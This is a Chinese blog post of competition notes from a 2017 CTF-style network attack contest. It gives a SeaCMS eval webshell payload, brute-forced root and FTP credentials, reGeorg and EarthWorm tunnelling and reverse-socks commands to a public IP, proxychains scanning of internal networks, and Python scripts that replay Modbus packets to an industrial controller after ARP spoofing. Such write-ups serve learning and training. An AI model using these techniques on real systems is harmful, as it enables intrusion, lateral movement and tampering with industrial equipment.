铁人三项数据赛笔记

铁人三项数据赛@CUIT

Posted by Les1ie on June 8, 2017

0x00 序言

2017年6月8日23:40:19

这是前段时间参加启明星辰比赛的笔记,当时写得匆忙,没有整理排版

0x01 正文

2017年4月22日23:53:38

最开始是202.1.1.2 是seacms, 网上找了下exp, 发现一个新出来的 菜刀直接连
http//202.1.1.2/search.php?searchtype=5&tid=&area=eval($_POST[cmd])密码cmd 直接拿到后台

找到了数据库的配置文件,使用菜刀右键数据库管理,按照模板修改用户名密码。 另外一半hydra爆破也有了成果, 202.1.1.2 root 1qaz2wsx, 用了个1000的字典爆出来

搭建tunnel,直接用reGeorg(见github),或者ew(rootkiter.com/EarthWorm), reGeorg用菜刀上传到后台,然后命令行执行

python reGerog.py -u http://202.1.1.2/upload.php -p 1080

然后使用proxychains4改socks4 127.0.0.1

1080即可代理本地流量到远程主机之后所有需要在远程主机扫描内网的操作都可以使用proxychains代理过去, 比如 pc nmap -sP 192.168.5.1-255, 但是proxychains 似乎不能代理ping发的icmp的包。

ew在普通网络下可以开公网ip的时候,如果可以开本机的端口,则 ./ew -s socksd -l 9999 然后proxychains 里面设置socks5 202.1.1.2 9999即可使用正想代理 如果不能开公网ip则可以使用反弹shell的方式来建立连接 ./ew -s rcsocks -l 1080 -e 8888 这个可以把本机的1080的流量转发到8888, 然后在内网端运行 ./ew -s rssocks -d 123.207.2.1 -e 8888 将本地流量转发到公网的8888端口, proxychains 改设置 socks5 123.207.2.1 1080 即可,本机就用127.0.0.1 ew穿越两层内网的时候要复杂一点, 假设最外层是a, 最内层是c, 中间层是b, 那么在b上开一个隧道将流量转发到内层的c, 在b上运行 ./ew -s socksd -l 9999, 然后在b上运行 ./ew -s lcx_tran -l 1080 -f 192.168.3.1(c机器) -g 9999 ,修改proxychains socks5 ip_c 1080, 即可,如果遇到更复杂的,看官方文档吧..

F-Nascan是比较轻量的扫描工具,先icmp确认存活,然后扫端口,然后端口指纹,然后快照web, 就是直接提示web的服务的名字,直接给你网站的名字。 使用内网代理的时候,nmap特别吃力,就算加了-p也很慢,这个时候可以用 F-NAscan.py 来扫描,他有root权限的时候可以发icmp确认存活,普通权限不能发icmp, python F-NAscan.py -h 192.168.1直接扫一个 0/24, 或者用 python F-nascan.py -h 192.168.1.1-192.168.2.111 , 以及 python F-NAscan.py -h 192.168.1.2 -p 22, 80,445 直接扫描指定端口 -m 指定线程数, -t 指定超时时间,默认十秒钟 扫内网的时候加个proxychains 即可

最后一个工业控制题目,是要arp欺骗工控,然后wireshark抓包,在重放数据包的时候使用python脚本

我写的脚本如下

from socket import *

HOST = '192.168.4.10'
PORT = 502

BUFSIZE = 1024

ADDR = (HOST, PORT)

t = socket(AF_INET, SOCK_STREAM)
t.connect(ADDR)

# info = int(1cec00000006010600170001)
info = 0x1cec00000006010600170001
info = 0x1cec00000006010600170001
info =hex(info)

print info
t.send(info)


存在的问题是我把十六进制了一个数值,发送的是一个十六进制的数值串,这样导致发送的时候字符最后有一个 L, 这个表示这是 long类型的
出题人给出了他的题解,比较后发现他是把文本转化成16进制字符串发送的。

from socket import *

HOST = '192.168.4.10'
PORT = 502

ADDR = (HOST, PORT)

info = '1c7a00000006010600170001'

t = socket(AF_INET, SOCK_STREAM)
t.connect(ADDR)


t.send(info.decode('hex'))  


# 需要把发送的进行16进制decode, 这样传送的是16进制的文本

嗯,最后这一行代码价值2w软妹币外加一个奖杯

说几个失误的地方:

  • 192.168.2.12 的ftp口令admin admin 没有爆破出来,这个是重大失误,一直没出ssh的也没有转移思路,这个有待改进
  • 两层内网里面的主机没有映射出来以为服务器崩了,要求重置,扣了50分,但是给了提示做两层代理还是有帮助的,拿到了一个flag
  • 最后的decode没有写上
  • 平台445打进去了没有给工作人员讲,可能有加分

另:

基础不牢,地动山摇